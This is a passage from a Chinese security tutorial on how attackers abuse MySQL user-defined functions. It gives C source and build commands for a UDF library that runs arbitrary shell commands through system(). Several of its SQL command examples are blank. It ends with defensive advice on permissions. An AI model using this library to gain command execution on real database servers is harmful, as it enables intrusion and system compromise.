欢迎投稿

今日深度:

MySQL安全攻防实战指南之体系结构篇(1)(9)

攻击者滥用这个机制的通常方式是,创建一个恶意程序库,然后使用SELECT . . . INTO OUTFILE将其放到一个适当的目录中。该程序库就位之后,攻击者需要更新或者插入mysql.func表,以便配置MySQL使其加载该程序库并执行该函数。一个UDF程序库示例源代码如下所示:

#include
#include
/*
可以使用下列编译器编译该代码:

gcc -g -c so_system.c

然后执行如下所示命令:

gcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lc
*/
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args
{
unsigned int arg_count;               /* 参数数目 */
enum Item_result *arg_type;         /* 指向item_results的指针 */
char **args;                              /* 参数指针 */
unsigned long *lengths;         /* 字符串参数的长度 */
char *maybe_null;                     /* 对于所有的maybe_null参数,都设为1 */
} UDF_ARGS;
typedef struct st_udf_init
{
char maybe_null;           /* 如果函数返回NULL,则为1 */
unsigned int decimals;     /* 用于实函数 */
unsigned long max_length;  /* 用于串函数 */
char      *ptr;   /* 函数数据指针 */
char const_item;  /* 如果结果与参数无关,则为0 */
} UDF_INIT;

int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if( args->arg_count != 1 )
return 0;
system( args->args[0] );
return 0;
}

函数可以通过如下所示的命令来添加至MySQL:

 

然后,mysql.func表看上去会是这样的您还可以通过手动方式更新):

 

于是,我们就可以像下面这样来调用函数了:

 

即使攻击者受文件权限的制约无法在目标系统上创建自己所有的程序库,但是他仍然可以通过一个现有的函数来达到不可告人的目的。攻击者的难点在于大多数函数的参数表不可能匹配MySQL UDF的原型:

int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)

当然,机智的攻击者可能会通过调用一个当解释传给MySQL的参数时会出现某种可控故障的程序库来设法执行任意的代码。然而,现有的系统程序库中的函数仍然可能会做坏事——举例来说,在Windows系统中将ExitProcess作为MySQL UDF进行调用,这会导致MySQL立即退出——即使发起调用的用户不具备Shutdown_priv权限:

 

您还可以锁住当前登录用户的工作站,只要使用下列命令,其效果跟按下CTRL-ALT-DEL一样:

 

然后工作站就会被锁定。

总之,在MySQL中的UDF机制对于开发人员来说是极其灵活和有用的,但是也给攻击者带来了莫大的帮助。所以,防御此类攻击的最好措施就是,仔细分配MySQL权限(特别是MySQL数据库和mysql.func表有关的权限)、文件权限以及限制使用SELECT . . . INTO OUTFILE。


www.htsjk.Com true http://www.htsjk.com/shujukuaq/16813.html NewsArticle 攻击者滥用这个机制的通常方式是,创建一个恶意程序库,然后使用SELECT . . . INTO OUTFILE将其放到一个适当的目录中。该程序库就位之后,攻击者需要更新...
评论暂时关闭